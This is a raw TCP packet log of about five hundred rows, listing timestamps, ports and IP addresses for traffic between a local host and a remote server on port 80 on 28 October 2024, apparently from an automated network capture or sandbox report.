Oct 28, 2024 19:46:20.536950111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537003994 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.537034035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537069082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537112951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.537166119 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537199974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537233114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537250996 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.537267923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537301064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537313938 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.537412882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537456036 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.537499905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537544966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537587881 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.537596941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537650108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537694931 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.537702084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537738085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537781000 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.537807941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537841082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.537883997 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.537998915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538033962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538067102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538079977 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.538100958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538134098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538149118 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.538167000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538202047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538213968 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.538520098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538553953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538567066 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.538587093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538619041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538633108 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.538654089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538686037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538693905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.538718939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538752079 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538762093 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.538788080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.538832903 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.539060116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539089918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539123058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539132118 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.539158106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539191008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539210081 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.539225101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539258957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539269924 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.539292097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539344072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.539347887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539381981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539417982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539431095 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.539453030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539486885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539504051 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.539520979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.539570093 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.540033102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540085077 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540118933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540132046 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.540153027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540185928 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540204048 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.540220022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540251970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540266037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.540287018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540318966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540344954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.540353060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540385962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540399075 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.540421009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540455103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540472031 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.540488005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540535927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.540915966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540950060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540982008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.540997028 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.541016102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.541048050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.541064024 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.541081905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.541115999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.541135073 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.541148901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.541182995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.541198015 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.541218042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.541264057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.544691086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.544744968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.544779062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.544789076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.544859886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.544892073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.544919014 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.544924974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.544970989 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.544975042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545119047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545150995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545170069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.545185089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545217991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545233965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.545253038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545300961 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.545444012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545476913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545511961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545528889 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.545545101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545579910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545593977 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.545614958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545649052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545658112 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.545681953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545716047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545731068 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.545743942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.545788050 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.548834085 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.583811045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.583869934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.583899975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.583937883 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.583952904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.583986998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.584006071 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.584084034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.584116936 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.584132910 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.584248066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.584283113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.584294081 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.584317923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.584364891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.584366083 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.584398031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.584441900 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.584763050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.584826946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.584856033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.584873915 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.584929943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.584964037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.584981918 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.584997892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585046053 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.585079908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585129976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585164070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585180998 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.585197926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585242987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.585412979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585445881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585479021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585485935 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.585510969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585561991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.585563898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585685015 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585716009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585728884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.585763931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585814953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.585891962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585926056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585958958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.585967064 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.585992098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586025953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586041927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.586060047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586095095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586102962 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.586127996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586163044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586173058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.586457968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586487055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586508989 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.586519003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586555004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586566925 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.586587906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586622000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586639881 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.586658001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586707115 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.586857080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586900949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586935043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.586955070 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.586992025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587025881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587030888 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.587059975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587105036 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.587110996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587145090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587172985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587198019 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.587205887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587239981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587251902 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.587275028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587308884 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587323904 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.587357998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587402105 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.587686062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587719917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587769985 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.587830067 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587881088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587913990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587924957 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.587948084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587975979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.587997913 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.588013887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.588047981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.588066101 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.588079929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.588114023 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.588123083 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.588146925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.588182926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.588200092 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.588222980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.588267088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.588629961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.588665009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.588699102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.588712931 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.588732004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.588782072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.644143105 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.650237083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650285006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650310993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650341988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.650398970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650448084 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.650492907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650511026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650527954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650546074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650553942 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.650589943 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.650804996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650831938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650851011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650866985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650871992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.650882959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650903940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650919914 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.650922060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650939941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650949001 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.650959015 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.650985956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.651549101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.651590109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.651607037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.651623011 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.651623011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.651640892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.651659012 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.651660919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.651676893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.651690006 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.651693106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.651710987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.651715040 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.651726961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.651745081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.651746035 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.651760101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.651778936 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.651788950 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.651814938 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.652479887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.652498007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.652514935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.652530909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.652540922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.652546883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.652565002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.652571917 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.652582884 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.652599096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.652611017 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.652616024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.652641058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.652642012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.652659893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.652677059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.652686119 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.652693987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.652718067 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.653423071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.653439045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.653454065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.653466940 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.653475046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.653491974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.653501987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.653508902 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.653526068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.653532982 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.653543949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.653558969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.653568983 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.653575897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.653594017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.653601885 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.653611898 CET	80	49726	166.1.160.211	192.168.2.16
